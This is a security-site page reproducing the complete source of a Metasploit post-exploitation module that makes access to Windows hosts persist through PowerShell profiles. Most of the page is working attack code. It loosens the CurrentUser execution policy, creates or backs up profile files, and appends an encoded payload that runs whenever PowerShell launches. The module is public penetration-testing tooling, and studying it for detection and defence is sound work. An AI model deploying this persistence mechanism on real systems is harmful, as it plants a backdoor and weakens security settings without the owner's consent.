METASPLOIT

Powershell Profile Persistence_MSF:EXPLOIT-WINDOWS-PERSISTENCE-POWERSHELL_PROFILE-

Description

This module establishes persistence by modifying a PowerShell profile script, which is automatically executed when PowerShell starts. The module supports multiple profile scopes current user or all users and safely backs up any existing profile prior...
Visit Original Source

Basic Information

ID MSF:EXPLOIT-WINDOWS-PERSISTENCE-POWERSHELL_PROFILE-
Published Apr 15, 2026 at 19:02

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::Powershell
include Msf::Post::Windows::Registry
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Powershell Profile Persistence',
'Description' => %q{
This module establishes persistence by modifying a PowerShell profile script, which is automatically
executed when PowerShell starts. The module supports multiple profile scopes (current user or all users)
and safely backs up any existing profile prior to modification, enabling clean removal by restoring the original file.
},
'License' => MSF_LICENSE,
'Author' => [
'madefourit'
],
'Platform' => [ 'win' ],
'Arch' => [ARCH_X64, ARCH_X86],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
['ATT&CK', Mitre::Attack::Technique::T1546_013_POWERSHELL_PROFILE],
[ 'URL', 'https://pentestlab.blog/2019/11/05/persistence-powershell-profile/']
],
'DisclosureDate' => '2019-11-05',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options [
OptEnum.new('PROFILE', [true, 'The powershell profile to target.', 'AUTO', ['AUTO', 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST']]),
OptBool.new('CREATE', [false, 'If a profile file doesnt exist, create one.', false]),
OptBool.new('EXECUTIONPOLICY', [false, 'Attempt to update execution policy to execute .', true]),
]
end

def policy_allows_execution?
# Get-ExecutionPolicy -List has words, but when converting to json to read easily it gives numbers, so we have to map them back
execution_policies = cmd_exec('powershell -NoProfile -Command "$h = @{}; Get-ExecutionPolicy -List | ForEach-Object { $h[$_.Scope.ToString()] = $_.ExecutionPolicy.ToString() }; $h | ConvertTo-Json"')
begin
@policies = JSON.parse(execution_policies)
rescue JSON::ParserError
print_error("Failed to parse powershell execution policies: #{execution_policies}")
return false
end
['Unrestricted', 'RemoteSigned', 'Bypass'].include?(@policies['CurrentUser'])
end

def check
return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft').include?('PowerShell')

unless policy_allows_execution?
if datastore['EXECUTIONPOLICY']
return Msf::Exploit::CheckCode::Appears("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']}), will attempt to override")
else
return Msf::Exploit::CheckCode::Safe("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']}) doesn't allow script execution, try setting EXECUTIONPOLICY")
end
end
vprint_status("Powershell execution policy for CurrentUser (#{@policies['CurrentUser']})")

CheckCode::Appears('Powershell is installed and exploitable on the target system')
end

def backdoor_profile(profile_file)
module_created_file = false
unless file?(profile_file)
if datastore['CREATE']
print_status("#{profile_file} does not exist, creating it...")
folders = profile_file.split('\\')[0..-2]
folders = folders.join('\\')
# we can't use mkdir here because register_dir_for_cleanup gets called, and we handle our own cleanups
unless directory?(folders)
cmd_exec("cmd /c \"md #{folders}\"")
@clean_up_rc << "rmdir #{folders.gsub('\\', '/')}\n"
end
unless write_file(profile_file, '') # write empty file so we can append later
print_error("Failed to create profile file at #{profile_file}")
return false
end
module_created_file = true
else
print_error("#{profile_file} does not exist and CREATE option is false")
return false
end
end

if module_created_file
@clean_up_rc << "rm #{profile_file.gsub('\\', '/')}\n"
else
pfile = read_file(profile_file)
if pfile.nil?
vprint_warning("Unable to read (and backup) existing profile file at #{profile_file}, continuing without backup")
else
backup_file = store_loot(
'powershell.profile',
'text/plain',
session,
pfile, profile_file.split('\\').last,
'powershell profile backup'
)

print_status("Created #{profile_file} backup: #{backup_file}")
@clean_up_rc << "upload #{backup_file} #{profile_file}\n"
end
end

pload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true)
splitter = '-c '
pload = pload.split(splitter)[1..] # remove all the powershell.exe and setup/run stuff, we only need the code bit here
pload = pload.join(splitter)[1..-2] # rejoin, then remove surrounding double quotes

vprint_status("Appending payload to #{profile_file}")
unless append_file(profile_file, "\n#{pload}\n")
print_error("Failed to append payload to #{profile_file}")
return false
end
true
end

def install_persistence
profiles = cmd_exec('powershell -NoProfile -Command "$PROFILE | Select-Object * | ConvertTo-Json"')
begin
profiles = JSON.parse(profiles)
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, "Failed to parse powershell profile paths: #{profiles}")
end
profiles = profiles.transform_keys { |k| k.to_s.upcase }

if !policy_allows_execution? && datastore['EXECUTIONPOLICY']
print_status('Updating Powershell execution policy for CurrentUser to RemoteSigned')
cmd_exec('powershell -NoProfile -Command "Set-ExecutionPolicy -Scope CurrentUser RemoteSigned"')
@clean_up_rc << "execute -f powershell -a \"-NoProfile -w hidden -Command 'Set-ExecutionPolicy -Scope CurrentUser #{@policies['CurrentUser']}'\"\n"
end

case datastore['PROFILE']
when 'AUTO'
['ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST'].each do |profile|
unless profiles.key?(profile)
print_error("#{profile} not found in user's profiles")
next
end
success = backdoor_profile(profiles[profile])
break if success
end
when 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST'
unless profiles.key?(datastore['PROFILE'])
fail_with(Failure::UnexpectedReply, "#{datastore['PROFILE']} not found in user's profiles")
end
backdoor_profile(profiles[datastore['PROFILE']])
end
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.